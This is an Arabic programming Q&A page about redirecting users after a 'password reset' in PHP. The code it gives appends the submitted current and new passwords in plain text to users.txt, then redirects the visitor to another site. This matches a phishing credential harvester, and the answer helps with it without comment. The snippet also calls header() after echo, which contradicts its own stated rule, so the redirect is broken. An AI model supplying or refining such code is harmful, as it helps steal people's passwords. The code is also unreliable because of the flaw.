البرمجة

كيفية إعادة توجيه المستخدمين بعد إعادة تعيين كلمة المرور في PHP

To redirect to a different website after displaying “Password Reset!” in PHP, you can use the header() function to send a raw HTTP header to the browser. Here’s how you can modify your code to include the redirect:

php
// Open the text file $f = fopen("users.txt", "a"); // Write text fwrite($f, $_POST["_current_password1_"]); fwrite($f, $_POST["_new_password1_"]); // Close the text file fclose($f); // Display message echo "Password Reset!"; // Redirect to a different website header("Location: http://www.example.com"); exit; ?>

Make sure to replace http://www.example.com with the URL of the website you want to redirect to. Also, note that the header() function must be called before any actual output is sent to the browser.

المزيد من المعلومات

بالطبع! في الشفرة التي كتبتها، تقوم بفتح ملف نصي باسم users.txt باستخدام الوضع “a” (للإضافة)، ثم تكتب فيه كلمة مرور الحساب الحالية وكلمة المرور الجديدة التي تم إرسالها عبر النموذج. بعد ذلك، تقوم بإغلاق الملف وعرض رسالة “Password Reset!” للمستخدم.

لتحقيق التوجيه إلى موقع ويب آخر بعد عرض الرسالة، تستخدم الدالة header() لإرسال رأس HTTP إلى المستعرض لإعادة توجيه المستخدم إلى العنوان المعطى. يجب أن تتأكد من أن هذه الدالة تُستدعى قبل أن يتم إرسال أي نص إلى المتصفح، ويمكنك استخدام exit للتأكد من أن لا يتم تنفيذ أي كود بعد التوجيه.

هذا النوع من التوجيه يعتبر “302 توجيه مؤقت”، ويجب أن يحتوي رأس الإجابة الذي يُرسل إلى المتصفح على تعليمات الموقع الجديد للتوجيه.

زر الذهاب إلى الأعلى